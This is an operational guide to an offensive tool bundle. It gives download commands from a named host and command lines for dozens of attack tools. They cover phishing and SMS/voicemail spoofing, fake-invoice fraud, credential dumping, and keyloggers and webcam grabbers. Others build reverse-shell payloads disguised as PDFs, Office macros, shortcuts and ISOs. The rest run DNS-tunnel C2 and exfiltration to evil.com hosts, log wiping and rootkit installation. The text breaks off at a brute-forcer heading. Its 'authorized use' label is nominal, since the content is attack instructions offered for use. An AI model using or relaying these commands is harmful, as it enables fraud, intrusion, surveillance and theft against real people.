

## STRIKE TOOLKIT COLLECTION – COMPLETE OPERATIONAL GUIDE

By Mr Pilot Annis | Contact: t.me/rick\_ene

109 Tools | 8 Toolkits | For Authorized Red Team Operations Only

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# 1. OVERVIEW & DOWNLOAD

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## All Downloads

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HTTP Server: <https://tool.electronichubb.com/>

#	ZIP File	Tools	Size	wget Command
1	Toolkit_1_Recon_OSINT.zip	12	40KB	wget https://tool.electronichubb.com/Toolkit_1_Recon_OSINT.zip
2	Toolkit_2_Phishing_Social.zip	13	28KB	wget https://tool.electronichubb.com/Toolkit_2_Phishing_Social.zip
3	Toolkit_3_AD_Attack.zip	9	36KB	wget https://tool.electronichubb.com/Toolkit_3_AD_Attack.zip
4	Toolkit_4_Cloud_Attack.zip	12	28KB	wget https://tool.electronichubb.com/Toolkit_4_Cloud_Attack.zip
5	Toolkit_5_Malware_C2.zip	22	68KB	wget https://tool.electronichubb.com/Toolkit_5_Malware_C2.zip
6	Toolkit_6_Post_Exploit.zip	10	44KB	wget https://tool.electronichubb.com/Toolkit_6_Post_Exploit.zip
7	PT_Hacker_Toolkit.zip	11	48KB	wget https://tool.electronichubb.com/PT_Hacker_Toolkit.zip
8	strike_v27.zip	20	1.9MB	wget https://tool.electronichubb.com/strike_v27.zip
	<b>TOTAL</b>	<b>109</b>	<b>2.2MB</b>	

## Quick Install (Kali)

---

```
cd ~/Downloads
wget https://tool.electronichubb.com/Toolkit_1_Recon_OSINT.zip
wget https://tool.electronichubb.com/Toolkit_2_Phishing_Social.zip
wget https://tool.electronichubb.com/Toolkit_3_AD_Attack.zip
wget https://tool.electronichubb.com/Toolkit_4_Cloud_Attack.zip
wget https://tool.electronichubb.com/Toolkit_5_Malware_C2.zip
wget https://tool.electronichubb.com/Toolkit_6_Post_Exploit.zip
wget https://tool.electronichubb.com/PT_Hacker_Toolkit.zip
wget https://tool.electronichubb.com/strike_v27.zip

# Extract all
mkdir -p ~/toolkits && cd ~/toolkits
for z in ~/Downloads/*.zip; do unzip -o "$z"; done

# Verify all compile
find . -name "*.py" -exec python3 -m py_compile {} \; 2>&1 | grep -i error || echo "ALL CLEAN"
```

## 2. TOOLKIT 1: RECON\_OSINT (12 Tools)

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**Purpose:** Reconnaissance, OSINT, target discovery, email harvesting

**Main Menu:** python3 recon\_osint.py

### Tools

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#### recon\_pipeline.py – 7-Phase Infrastructure Recon

Full target infrastructure mapping: subdomains, DNS, ports, WHOIS, MX records, SSL certs, technologies.

```
python3 recon_pipeline.py --target example.com --all-phases -o results.txt
python3 recon_pipeline.py --target example.com --phase 1 # subdomains only
proxychains4 python3 recon_pipeline.py --target example.com --all-phases
```

#### email\_verifier.py – Email Verification

Verify if email addresses are valid via SMTP RCPT TO. Cleans lists before phishing campaigns.

```
python3 email_verifier.py --list emails.txt --output valid.txt
python3 email_verifier.py --email test@gmail.com
python3 email_verifier.py --list emails.txt --threads 10 --proxy-file proxies.txt
```

#### combo\_builder.py – Leaked Database Combo Builder

Load leaked databases (breachcompilation.txt), filter by domain, merge:sort:dedupe.

```
python3 combo_builder.py --input breachcompilation.txt --filter @target-corp.com
python3 combo_builder.py --input leak1.txt --input2 leak2.txt --merge --dedupe
python3 combo_builder.py --input leak.txt --format userpass --output clean.txt
```

#### subdomain\_scanner.py – Subdomain Enumeration

Brute-force subdomains using wordlist + DNS resolution.

```
python3 subdomain_scanner.py --domain example.com --wordlist subdomains.txt
python3 subdomain_scanner.py --domain example.com --threads 20 --output subs.txt
```

#### dns\_recon.py – DNS Reconnaissance

Enumerate DNS records: A, AAAA, MX, NS, TXT, SOA, CNAME, SPF, DMARC.

```
python3 dns_recon.py --domain example.com --all-records
python3 dns_recon.py --domain example.com --record MX
python3 dns_recon.py --domain example.com --zone-transfer
```

#### whois\_lookup.py – WHOIS & Domain Intel

WHOIS lookup, domain age, registrar info, nameserver enumeration.

```
python3 whois_lookup.py --domain example.com
python3 whois_lookup.py --ip 8.8.8.8
python3 whois_lookup.py --domain example.com --history
```

## ssl\_cert\_scanner.py – SSL/TLS Certificate Analysis

Extract subdomains from certs, check cert validity, find related domains.

```
python3 ssl_cert_scanner.py --domain example.com --port 443
python3 ssl_cert_scanner.py --domain example.com --san # Subject Alt Names
python3 ssl_cert_scanner.py --list domains.txt --output cert-intel.txt
```

## shodan\_search.py – Shodan Query Tool

Search Shodan for exposed services, open ports, vulnerable systems.

```
python3 shodan_search.py --query "org:Target Corp" --api-key YOUR_KEY
python3 shodan_search.py --query "port:22 country:US" --limit 100
python3 shodan_search.py --ip 1.2.3.4 --api-key YOUR_KEY
```

## technology\_fingerprint.py – Web Technology Detection

Detect web technologies: CMS, frameworks, JS libraries, server software.

```
python3 technology_fingerprint.py --url https://example.com
python3 technology_fingerprint.py --list urls.txt --output tech-report.txt
```

## email\_harvester.py – Email Address Harvesting

Scrape public sources for email addresses related to target domain.

```
python3 email_harvester.py --domain example.com --sources all
python3 email_harvester.py --domain example.com --output emails.txt --limit 500
```

## metadata\_extractor.py – Document Metadata Extraction

Extract metadata from PDFs, Office docs, images – find usernames, software versions, paths.

```
python3 metadata_extractor.py --file document.pdf
python3 metadata_extractor.py --dir /path/to/documents/ --output meta-report.txt
python3 metadata_extractor.py --file image.jpg --exif # GPS, camera info
```

## dga\_detector.py – Domain Generation Algorithm Detector

Detect DGA domains (malware C2) in DNS logs or network traffic.

```
python3 dga_detector.py --domain suspicious-domain.xyz
python3 dga_detector.py --file domains.txt --output dga-results.txt
```

## 3. TOOLKIT 2: PHISHING\_SOCIAL (13 Tools)

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**Purpose:** Social engineering, phishing campaigns, credential harvesting

**Main Menu:** python3 phishing\_social.py

### email\_spoofers.py – Email Spoofing Tool

Send emails with spoofed sender address. Supports HTML, attachments, custom headers.

```
python3 email_spoofers.py --from "ceo@target.com" --to victim@gmail.com --subject "Urgent" --body "Check this"
python3 email_spoofers.py --from "support@microsoft.com" --to targets.txt --template phishing.html
python3 email_spoofers.py --smtp 158.220.90.35 --port 587 --user aeromail_smtp --pass [PASS]
```

### sms\_spoofers.py – SMS Spoofing

Send SMS with spoofed sender ID via online SMS gateways.

```
python3 sms_spoofers.py --to +1234567890 --sender "PayPal" --message "Your account is locked"
python3 sms_spoofers.py --list phones.txt --sender "Bank" --message-file sms-template.txt
```

### site\_cloner.py – Website Cloner

Clone any website pixel-perfect for phishing. Downloads HTML, CSS, JS, images.

```
python3 site_cloner.py --url https://facebook.com/login --output fb-clone
python3 site_cloner.py --url https://gmail.com --output gmail-clone --inject capture.php
python3 site_cloner.py --url https://office365.com/login --output o365-clone --beef
```

### campaign\_manager.py – Phishing Campaign Manager

Multi-stage phishing campaigns: target lists, templates, scheduling, tracking.

```
python3 campaign_manager.py --new-campaign --name "Q4-Phish" --targets targets.txt
python3 campaign_manager.py --send --campaign Q4-Phish --template invoice.html
python3 campaign_manager.py --stats --campaign Q4-Phish
python3 campaign_manager.py --report --campaign Q4-Phish --format pdf
```

### ai\_content\_generator.py – AI-Powered Phishing Content

Generate convincing phishing emails, SMS, landing page text using AI.

```
python3 ai_content_generator.py --type email --context "fake invoice from vendor"
python3 ai_content_generator.py --type sms --context "bank account verification"
python3 ai_content_generator.py --type landing --context "Office 365 password reset"
```

### telegram\_auto\_reg.py – Telegram Auto Registration

Automate Telegram account creation via online SMS services.

```
python3 telegram_auto_reg.py --count 5 --output accounts.json
python3 telegram_auto_reg.py --api-id YOUR_ID --api-hash YOUR_HASH
```

### signal\_auto\_reg.py – Signal Auto Registration

Automate Signal messenger account creation.

```
python3 signal_auto_reg.py --count 3 --output signal-accounts.json
```

### voicemail\_spoofers.py – Voicemail Spoofing

Send spoofed voicemail notifications (vishing).

```
python3 voicemail_spoofers.py --to +1234567890 --caller "IRS" --message "warrant"
```

### qr\_code\_phisher.py – QR Code Phishing

Generate malicious QR codes that redirect to phishing pages.

```
python3 qr_code_phisher.py --url https://evil.com/fake-login --output qr.png  
python3 qr_code_phisher.py --url https://evil.com/payload --output qr.svg --style wifi
```

### invoice\_generator.py – Fake Invoice Generator

Generate realistic-looking invoice PDFs for BEC (Business Email Compromise) attacks.

```
python3 invoice_generator.py --company "Acme Corp" --amount 48500 --account "****4521"  
python3 invoice_generator.py --template wire-transfer --output invoice.pdf --logo company-  
logo.png
```

### smishing\_kit.py – SMS Phishing Kit

Complete smishing toolkit: templates, short links, tracking.

```
python3 smishing_kit.py --template bank-alert --phone +1234567890  
python3 smishing_kit.py --template package-delivery --list phones.txt --shorten
```

### voice\_phisher.py – Vishing (Voice Phishing) Script Generator

Generate realistic vishing scripts for different scenarios.

```
python3 voice_phisher.py --scenario bank-fraud --output script.txt  
python3 voice_phisher.py --scenario tech-support --target "Microsoft" --output script.txt  
python3 voice_phisher.py --scenario irs --language en --output irs-script.txt
```

### social\_mapper.py – Social Media Mapper

Map target's social media presence across platforms.

```
python3 social_mapper.py --email target@company.com  
python3 social_mapper.py --username johndoe --platforms all  
python3 social_mapper.py --name "John Doe" --company "Target Corp" --output report.txt
```

## 4. TOOLKIT 3: AD\_ATTACK (9 Tools)

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**Purpose:** Active Directory penetration, internal network attacks

**Main Menu:** python3 ad\_attack.py

### kerberoast.py – Kerberoasting Attack

Request Kerberos service tickets for SPN accounts, extract for offline cracking.

```
python3 kerberoast.py --domain target.local --user user --pass pass --output hashes.txt
python3 kerberoast.py --domain target.local --dc-ip 10.0.0.1 --spn-filter "MSSQL*"
proxychains4 python3 kerberoast.py --domain target.local --user user --pass pass
```

### asreproast.py – AS-REP Roasting

Find accounts with "Don't require Kerberos preauth" and crack their hashes.

```
python3 asreproast.py --domain target.local --dc-ip 10.0.0.1 --users users.txt
python3 asreproast.py --domain target.local --dc-ip 10.0.0.1 --output asrep-hashes.txt
```

### bloodhound\_collector.py – BloodHound Data Collector

Collect AD data for BloodHound analysis: users, groups, sessions, ACLs, trusts.

```
python3 bloodhound_collector.py --domain target.local --user user --pass pass --output bh-data
python3 bloodhound_collector.py --domain target.local --dc-ip 10.0.0.1 --method ldap
```

### llmnr\_poison.py – LLMNR/NBT-NS Poisoning

Poison LLMNR/NBT-NS to capture NTLM hashes on local network.

```
python3 llmnr_poison.py --interface eth0 --output captured-hashes.txt
python3 llmnr_poison.py --interface eth0 --capture-ntlm --wpaad
```

### ntlm\_relay.py – NTLM Relay Attack

Relay captured NTLM authentication to other services.

```
python3 ntlm_relay.py --target 10.0.0.5 --interface eth0
python3 ntlm_relay.py --targets target-list.txt --interface eth0 --exec-command "whoami"
```

### pass\_the\_hash.py – Pass-the-Hash Attack

Authenticate using NTLM hash instead of password.

```
python3 pass_the_hash.py --target 10.0.0.5 --user admin --hash
aad3b435b51404eeaad3b435b51404ee:5fbc3d52b347425f
python3 pass_the_hash.py --target 10.0.0.5 --user admin --hash HASH --command "net user"
```

### pass\_the\_ticket.py – Pass-the-Ticket Attack

Use Kerberos tickets (TGT/TGS) for authentication without password.

```
python3 pass_the_ticket.py --ticket ticket.kirbi --target 10.0.0.5
python3 pass_the_ticket.py --ccache ticket.ccache --spn cifs/server.target.local
```

## ad\_enum.py – Active Directory Enumeration

Enumerate AD: users, groups, computers, GPOs, trusts, OUs.

```
python3 ad_enum.py --domain target.local --user user --pass pass --all
python3 ad_enum.py --domain target.local --dc-ip 10.0.0.1 --users --groups --computers
python3 ad_enum.py --domain target.local --dc-ip 10.0.0.1 --gpo --trusts
```

## gpo\_abuse.py – Group Policy Object Abuse

Find and exploit misconfigured GPOs for privilege escalation.

```
python3 gpo_abuse.py --domain target.local --user user --pass pass --find
python3 gpo_abuse.py --domain target.local --gpo-id "GUID" --add-admin newuser
```

## 5. TOOLKIT 4: CLOUD\_ATTACK (12 Tools)

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**Purpose:** AWS, Azure, GCP exploitation and misconfiguration hunting

**Main Menu:** python3 cloud\_attack.py

### aws\_enum.py – AWS Enumeration

Enumerate AWS accounts, users, roles, policies, S3 buckets.

```
python3 aws_enum.py --access-key AKIA... --secret-key SECRET --region us-east-1
python3 aws_enum.py --role-arn arn:aws:iam::123456789:role/Admin --enumerate
python3 aws_enum.py --bucket target-backups --list --download
```

### aws\_privilege\_escalation.py – AWS PrivEsc

Find and exploit IAM misconfigurations for privilege escalation.

```
python3 aws_privilege_escalation.py --access-key AKIA... --secret-key SECRET
python3 aws_privilege_escalation.py --check-all --output privesc-paths.txt
```

### azure\_ad\_enum.py – Azure AD Enumeration

Enumerate Azure AD: users, groups, apps, service principals, roles.

```
python3 azure_ad_enum.py --tenant-id TENANT --client-id APP_ID --client-secret SECRET
python3 azure_ad_enum.py --domain target.com --enumerate-users --output users.txt
python3 azure_ad_enum.py --token TOKEN --enumerate-apps --output apps.txt
```

### azure\_token\_hunter.py – Azure Token Hunter

Find and extract Azure tokens from various sources.

```
python3 azure_token_hunter.py --source vscode --output tokens.txt
python3 azure_token_hunter.py --source azure-cli --refresh
python3 azure_token_hunter.py --token TOKEN --enumerate --output report.txt
```

### gcp\_enum.py – GCP Enumeration

Enumerate GCP projects, service accounts, storage buckets, compute instances.

```
python3 gcp_enum.py --key-file service-account.json --enumerate
python3 gcp_enum.py --project target-project --buckets --list-contents
python3 gcp_enum.py --project target-project --compute --instances
```

### cloud\_bucket\_hunter.py – Cloud Storage Bucket Hunter

Find open/misconfigured cloud storage buckets across AWS, GCP, Azure.

```
python3 cloud_bucket_hunter.py --company "Target Corp" --output buckets.txt
python3 cloud_bucket_hunter.py --wordlist bucket-names.txt --check-all
python3 cloud_bucket_hunter.py --bucket target-data --list --download --output data/
```

### oauth\_abuse.py – OAuth Consent Grant Attack

Generate malicious OAuth app URLs for consent grant phishing.

```
python3 oauth_abuse.py --client-id APP_ID --redirect https://evil.com/callback --scope mail.read
python3 oauth_abuse.py --generate-url --target office365 --output phish-url.txt
```

### metadata\_exploit.py – Cloud Metadata SSRF Exploitation

Exploit cloud metadata endpoints (169.254.169.254) via SSRF to steal IAM credentials.

```
python3 metadata_exploit.py --url http://target.com/vulnerable?url=
python3 metadata_exploit.py --url http://169.254.169.254/latest/meta-data/iam/security-
credentials/
python3 metadata_exploit.py --ssrf-param "url" --target http://target.com/api/fetch
```

### serverless\_scanner.py – Serverless Function Scanner

Scan for exposed serverless functions (Lambda, Azure Functions, Cloud Functions).

```
python3 serverless_scanner.py --target https://api.target.com --endpoints endpoints.txt
python3 serverless_scanner.py --aws-region us-east-1 --access-key AKIA... --secret-key SECRET
```

### container\_escape.py – Container Escape Detection

Detect container escape vulnerabilities in Docker/Kubernetes environments.

```
python3 container_escape.py --check-all
python3 container_escape.py --kubernetes --namespace default
python3 container_escape.py --docker --socket /var/run/docker.sock
```

### cloudtrail\_analyzer.py – CloudTrail Log Analyzer

Analyze AWS CloudTrail logs for suspicious activity and misconfigurations.

```
python3 cloudtrail_analyzer.py --log-dir /path/to/cloudtrail/ --output report.txt
python3 cloudtrail_analyzer.py --log-file log.json --find "ConsoleLogin"
python3 cloudtrail_analyzer.py --detect-anomalies --baseline 30days
```

### terraform\_state\_hunter.py – Terraform State File Hunter

Find and extract credentials from exposed Terraform state files.

```
python3 terraform_state_hunter.py --url https://target.com/terraform.tfstate
python3 terraform_state_hunter.py --file terraform.tfstate --extract-creds
python3 terraform_state_hunter.py --s3-bucket target-terraform --list
```

## 6. TOOLKIT 5: MALWARE\_C2 (22 Tools)

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**Purpose:** Payload generation, command & control, implants

**Main Menu:** python3 malware\_c2.py

### Payload Generators

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#### payload\_generator.py – Universal Payload Generator

Generate reverse shell payloads for Windows, Linux, Mac, Android.

```
python3 payload_generator.py --os windows --type reverse_tcp --lhost YOUR_IP --lport 4444 --output payload.exe
python3 payload_generator.py --os linux --type reverse_ssh --lhost YOUR_IP --lport 2222 --output payload.elf
python3 payload_generator.py --os android --type reverse_tcp --lhost YOUR_IP --lport 4444 --output payload.apk
python3 payload_generator.py --os mac --type reverse_https --lhost YOUR_IP --lport 443 --output payload.macho
```

#### pdf\_payload.py – PDF with Embedded Payload

Create PDF files with embedded reverse shell payload. Victim opens PDF → callback to your C2.

```
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --output invoice.pdf
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --template resume --output resume.pdf
python3 pdf_payload.py --lhost YOUR_IP --lport 4444 --embed-type javascript --output report.pdf
```

#### office\_macro\_generator.py – Office Macro Payload Generator

Generate Word/Excel documents with malicious macros that execute on open.

```
python3 office_macro_generator.py --type word --lhost YOUR_IP --lport 4444 --output invoice.docm
python3 office_macro_generator.py --type excel --lhost YOUR_IP --lport 4444 --output budget.xlsx
python3 office_macro_generator.py --type word --template "shipping notice" --output notice.docm
python3 office_macro_generator.py --type excel --template "salary review" --output salary.xlsx
```

#### html\_smuggler.py – HTML Smuggling Payload

Create HTML files that silently download and execute payload when opened in browser.

```
python3 html_smuggler.py --payload payload.exe --output download.html
python3 html_smuggler.py --payload payload.exe --output download.html --mime application/pdf
python3 html_smuggler.py --lhost YOUR_IP --lport 4444 --generate-payload --output smuggle.html
```

#### iso\_generator.py – Malicious ISO/IMG Generator

Create ISO files that bypass Mark-of-the-Web and auto-execute payload.

```
python3 iso_generator.py --payload payload.exe --output software.iso
python3 iso_generator.py --payload payload.exe --output update.img --autorun
python3 iso_generator.py --payload payload.exe --lnk-name "README.lnk" --output docs.iso
```

## lnk\_payload.py – Malicious LNK Shortcut Generator

Create shortcut files (.lnk) that execute hidden payload when double-clicked.

```
python3 lnk_payload.py --payload payload.exe --icon pdf --name "Invoice.pdf.lnk" --output invoice.lnk
python3 lnk_payload.py --payload payload.exe --icon folder --name "Documents.lnk" --output docs.lnk
```

## C2 Framework

### c2\_server.py – Command & Control Server

Multi-platform C2 server with reverse shell handler, file transfer, session management.

```
python3 c2_server.py --host 0.0.0.0 --port 4444 --ssl
python3 c2_server.py --host 0.0.0.0 --port 443 --ssl --cert cert.pem --key key.pem
python3 c2_server.py --host 0.0.0.0 --port 4444 --telegram --bot-token TOKEN --chat-id ID
```

### c2\_handler.py – C2 Session Handler

Manage active C2 sessions: interact, execute commands, transfer files.

```
python3 c2_handler.py --list-sessions
python3 c2_handler.py --interact SESSION_ID
python3 c2_handler.py --interact SESSION_ID --exec "whoami /all"
python3 c2_handler.py --interact SESSION_ID --upload /local/file.txt --remote C:\\temp\\file.txt
python3 c2_handler.py --interact SESSION_ID --download C:\\temp\\secret.txt
```

### implant\_manager.py – Implant/Agent Manager

Manage persistent implants on compromised hosts.

```
python3 implant_manager.py --list
python3 implant_manager.py --deploy --target SESSION_ID --implant persistent
python3 implant_manager.py --beacon --interval 60 --jitter 10
python3 implant_manager.py --kill --implant-id ID
```

## Post-Exploitation Payloads

### keylogger.py – Keylogger Payload

Keystroke logger that sends captured keys to C2 server.

```
python3 keylogger.py --lhost YOUR_IP --lport 4444 --output keylogger.exe
python3 keylogger.py --lhost YOUR_IP --lport 4444 --stealth --output kl.exe
```

### screenshot\_payload.py – Screenshot Capture Payload Periodic screenshot capture and exfiltration to C2.

```
python3 screenshot_payload.py --lhost YOUR_IP --lport 4444 --interval 300 --output scr.exe
```

### webcam\_grabber.py – Webcam Capture Payload

Capture webcam images and send to C2 server.

```
python3 webcam_grabber.py --lhost YOUR_IP --lport 4444 --interval 600 --output cam.exe
```

### password\_dumper.py – Password Dump Payload

Dump saved passwords from browsers, WiFi, Windows credential manager.

```
python3 password_dumper.py --lhost YOUR_IP --lport 4444 --browsers all --output dump.exe  
python3 password_dumper.py --lhost YOUR_IP --lport 4444 --wifi --rdp --output creds.exe
```

### persistence\_mechanisms.py – Persistence Installer

Install various persistence mechanisms on compromised host.

```
python3 persistence_mechanisms.py --method registry --payload payload.exe --output persist.exe  
python3 persistence_mechanisms.py --method scheduled-task --payload payload.exe --output  
persist.exe  
python3 persistence_mechanisms.py --method wmi --payload payload.exe --output persist.exe  
python3 persistence_mechanisms.py --method startup-folder --payload payload.exe --output  
persist.exe
```

### lateral\_movement.py – Lateral Movement Payload

Move laterally across network using various techniques.

```
python3 lateral_movement.py --method wmi --targets 10.0.0.0/24 --command "payload.exe"  
python3 lateral_movement.py --method smb --targets targets.txt --payload payload.exe  
python3 lateral_movement.py --method winrm --targets targets.txt --command "whoami"
```

### data\_exfiltrator.py – Data Exfiltration Tool

Stealthily exfiltrate sensitive files from compromised host.

```
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --paths "C:\\Users\\*\\Documents" --  
output exfil.exe  
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --file-types pdf,docx,xlsx --output  
exfil.exe  
python3 data_exfiltrator.py --lhost YOUR_IP --lport 4444 --dns-exfil --domain evil.com --output  
exfil.exe
```

### ransomware\_sim.py – Ransomware Simulation (Safe)

Simulate ransomware behavior for testing (does NOT actually encrypt – safe for lab).

```
python3 ransomware_sim.py --target /path/to/test/dir --simulate  
python3 ransomware_sim.py --target /path/to/test/dir --note "PAY 1 BTC" --simulate
```

### rootkit\_detector.py – Rootkit Detection

Detect common rootkits and hidden processes on compromised systems.

```
python3 rootkit_detector.py --scan-all  
python3 rootkit_detector.py --check-processes --check-drivers --check-hooks
```

### anti\_analysis.py – Anti-Analysis / Evasion

Detect sandboxes, VMs, debuggers. Evade analysis.

```
python3 anti_analysis.py --check-vm --check-sandbox --check-debugger  
python3 anti_analysis.py --generate-evasion --output evasion.py
```

## fileless\_exec.py – Fileless Execution

Execute payload entirely in memory – no file written to disk.

```
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method reflective-dll
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method powershell
python3 fileless_exec.py --payload-url http://YOUR_IP/payload.bin --method dotnet
```

## dns\_tunnel.py – DNS Tunneling C2

C2 communication via DNS queries – bypasses most firewalls.

```
python3 dns_tunnel.py --server --domain c2.evil.com --port 53
python3 dns_tunnel.py --client --domain c2.evil.com --lhost YOUR_IP --lport 4444
```

## icmp\_tunnel.py – ICMP Tunneling C2

C2 communication via ICMP ping packets.

```
python3 icmp_tunnel.py --server --interface eth0
python3 icmp_tunnel.py --client --target 10.0.0.1 --lhost YOUR_IP --lport 4444
```

## steganography\_tool.py – Steganography Payload Hiding

Hide payload inside images, audio files, or documents.

```
python3 steganography_tool.py --hide --carrier image.png --payload payload.exe --output secret.png
python3 steganography_tool.py --extract --carrier secret.png --output extracted_payload.exe
python3 steganography_tool.py --hide --carrier audio.wav --payload payload.exe --output secret.wav
```

## 7. TOOLKIT 6: POST\_EXPLOIT (10 Tools)

---

**Purpose:** Post-exploitation, privilege escalation, lateral movement, data harvesting

**Main Menu:** python3 post\_exploit.py

### privesc\_linux.py – Linux Privilege Escalation

Automated Linux privesc: SUID, cron, capabilities, kernel exploits, sudo misconfigs.

```
python3 privesc_linux.py --scan-all
python3 privesc_linux.py --check-suid --check-capabilities --check-cron
python3 privesc_linux.py --exploit CVE-2021-4034 # PwnKit
python3 privesc_linux.py --kernel-auto # auto-detect kernel exploit
```

### privesc\_windows.py – Windows Privilege Escalation

Automated Windows privesc: token abuse, service misconfigs, registry, DLL hijacking.

```
python3 privesc_windows.py --scan-all
python3 privesc_windows.py --check-token --check-services --check-registry
python3 privesc_windows.py --check-dll-hijack --check-always-install-elevated
python3 privesc_windows.py --exploit PrintSpooler # PrintNightmare
```

### credential\_harvester.py – Credential Harvester

Harvest credentials from various sources on compromised host.

```
python3 credential_harvester.py --all
python3 credential_harvester.py --browsers --wifi --rdp --vpn
python3 credential_harvester.py --memory --dump-lsass --output creds.txt
python3 credential_harvester.py --mimikatz --output hashes.txt
```

### network\_scanner.py – Internal Network Scanner

Scan internal network for other hosts, services, shares.

```
python3 network_scanner.py --range 10.0.0.0/24 --quick
python3 network_scanner.py --range 10.0.0.0/24 --full --output network-map.txt
python3 network_scanner.py --range 10.0.0.0/24 --shares --smb --nfs
```

### share\_enum.py – Network Share Enumeration

Enumerate and access SMB/NFS shares across the network.

```
python3 share_enum.py --targets 10.0.0.0/24 --shares --download
python3 share_enum.py --target 10.0.0.5 --user admin --pass pass --list --download-sensitive
python3 share_enum.py --targets targets.txt --find "password" --find "secret" --find "backup"
```

### log\_cleaner.py – Log Cleanup / Anti-Forensics

Clean event logs, bash history, and other forensic artifacts.

```
python3 log_cleaner.py --all
python3 log_cleaner.py --windows-event-logs
python3 log_cleaner.py --linux-syslog --bash-history --wtmp
python3 log_cleaner.py --timestomp --file secret.exe --date "2024-01-01 08:00:00"
```

## **data\_hunter.py – Sensitive Data Hunter**

Find sensitive files: credentials, databases, configs, PII, source code.

```
python3 data_hunter.py --scan /home --patterns "password,secret,key,token"
python3 data_hunter.py --scan C:\ --extensions sql,config,ini,env,ppk
python3 data_hunter.py --scan / --pii --output sensitive-files.txt
python3 data_hunter.py --scan / --credit-cards --ssn --output pii-report.txt
```

## **tunnel\_creator.py – Network Tunneling**

Create tunnels for pivoting through compromised hosts.

```
python3 tunnel_creator.py --socks --local-port 1080 --target 10.0.0.5
python3 tunnel_creator.py --reverse --local-port 4444 --remote-port 8443 --target 10.0.0.5
python3 tunnel_creator.py --port-forward --local 8080 --remote 10.0.0.10:80 --pivot 10.0.0.5
```

## **golden\_ticket.py – Golden/Silver Ticket Attack**

Create forged Kerberos tickets for persistent AD access.

```
python3 golden_ticket.py --domain target.local --krbtgt-hash HASH --user fakeadmin --output
golden.kirbi
python3 golden_ticket.py --domain target.local --dc-ip 10.0.0.1 --silver --spn cifs/server --
output silver.kirbi
```

## **rootkit\_installer.py – Rootkit Installation**

Install rootkit for persistent hidden access (educational/authorized use only).

```
python3 rootkit_installer.py --type userland --method ld-preload --output rootkit.so
python3 rootkit_installer.py --type kernel --method sys-call-hook --output rootkit.ko
```

## 8. STRIKE TOOLKIT v27 (20 Tools)

---

**Purpose:** Email infrastructure attacks, SMTP exploitation, phishing, defacement monitoring

**Main Menu:** python3 strike.py

### Key Tools

---

#### strike\_smtp.py – SMTP Scanner & Cracker

Scan for open SMTP servers, enumerate users, crack credentials.

```
python3 strike_smtp.py
# Mode 1: Scan for open SMTP
# Mode 2: Scan + Enum (52 usernames)
# Mode 3: Enum only
# Mode 4: Crack only (Auto-IQ wordlist)
# Mode 5: Full pipeline
# Mode 6: Email verifier
# --resume to continue interrupted cracks
```

#### zoneh\_grabber.py – Zone-H Defacement Grabber

Scrape Zone-H for defacement archives. Requires browser cookies after captcha.

```
python3 zoneh_grabber.py
# Mode 1: Published
# Mode 2: Unpublished/Onhold
# Mode 3: Special
# Mode 4: All
# Enter PHPSESSID from browser AFTER solving captcha
```

#### phishing\_lab.py – Evilginx Phishing Framework

Full Evilginx-style phishing with BeEF hook, credential capture, Telegram alerts.

```
python3 phishing_lab.py --template microsoft --target portal.office.com
python3 phishing_lab.py --template google --target accounts.google.com
python3 phishing_lab.py --template facebook --target facebook.com/login
python3 phishing_lab.py --list-templates
# Create telegram.json with bot_token + chat_id for alerts
```

#### email\_encryptor.py – Email Encryption Tool

AES-256-GCM, TLS, S/MIME email encryption.

```
python3 email_encryptor.py --encrypt --aes256 --input message.txt --output encrypted.aes
python3 email_encryptor.py --encrypt --smime --cert cert.pem --input message.txt --output encrypted.p7m
python3 email_encryptor.py --decrypt --aes256 --key KEY --input encrypted.aes --output message.txt
```

## 9. PT-HACKER TOOLKIT (11 Tools)

---

**Purpose:** Penetration testing utilities, network tools, exploit helpers

**Main Menu:** python3 pt\_hacker.py

### port\_scanner.py – Advanced Port Scanner

Multi-threaded port scanner with service detection.

```
python3 port_scanner.py --target 10.0.0.1 --ports 1-65535 --threads 100
python3 port_scanner.py --target 10.0.0.1 --top-100 --service-detect
python3 port_scanner.py --targets targets.txt --ports 22,80,443,3389 --output scan.txt
```

### vuln\_scanner.py – Vulnerability Scanner

Scan for common vulnerabilities: CVEs, misconfigurations, default creds.

```
python3 vuln_scanner.py --target 10.0.0.1 --scan-all
python3 vuln_scanner.py --target 10.0.0.1 --cve-scan
python3 vuln_scanner.py --target 10.0.0.1 --default-creds
```

### exploit\_helper.py – Exploit Helper

Search for and configure exploits for discovered vulnerabilities.

```
python3 exploit_helper.py --search "Apache 2.4"
python3 exploit_helper.py --search CVE-2021-44228 # Log4Shell
python3 exploit_helper.py --configure --exploit MS17-010 --lhost YOUR_IP --lport 4444
```

### password\_analyzer.py – Password Strength Analyzer

Analyze password strength, generate wordlists, crack hashes.

```
python3 password_analyzer.py --analyze "P@ssw0rd123"
python3 password_analyzer.py --generate --target-profile "John Doe, Company XYZ"
python3 password_analyzer.py --crack --hash HASH --wordlist rockyou.txt
```

### network\_sniffer.py – Network Packet Sniffer

Capture and analyze network traffic, extract credentials from packets.

```
python3 network_sniffer.py --interface eth0 --filter "tcp port 80" --output capture.pcap
python3 network_sniffer.py --interface eth0 --extract-creds --output creds.txt
python3 network_sniffer.py --pcap capture.pcap --analyze --output report.txt
```

### wifi\_auditor.py – WiFi Security Auditor

Audit WiFi networks: WPA handshake capture, deauth, PMKID.

```
python3 wifi_auditor.py --interface wlan0mon --scan
python3 wifi_auditor.py --interface wlan0mon --target BSSID --deauth --capture
python3 wifi_auditor.py --handshake capture.hccapx --wordlist rockyou.txt
```

### web\_app\_scanner.py – Web Application Scanner

Scan web apps for OWASP Top 10 vulnerabilities.

```
python3 web_app_scanner.py --url https://target.com --scan-all
python3 web_app_scanner.py --url https://target.com --sqli --xss --ssrf
python3 web_app_scanner.py --url https://target.com --output report.html
```

## reverse\_shell\_generator.py – Reverse Shell Generator

Generate reverse shells in multiple languages.

```
python3 reverse_shell_generator.py --type python --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type bash --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type powershell --lhost YOUR_IP --lport 4444
python3 reverse_shell_generator.py --type all --lhost YOUR_IP --lport 4444
```

## brute\_forcer.py – Multi-Service Brute Forcer

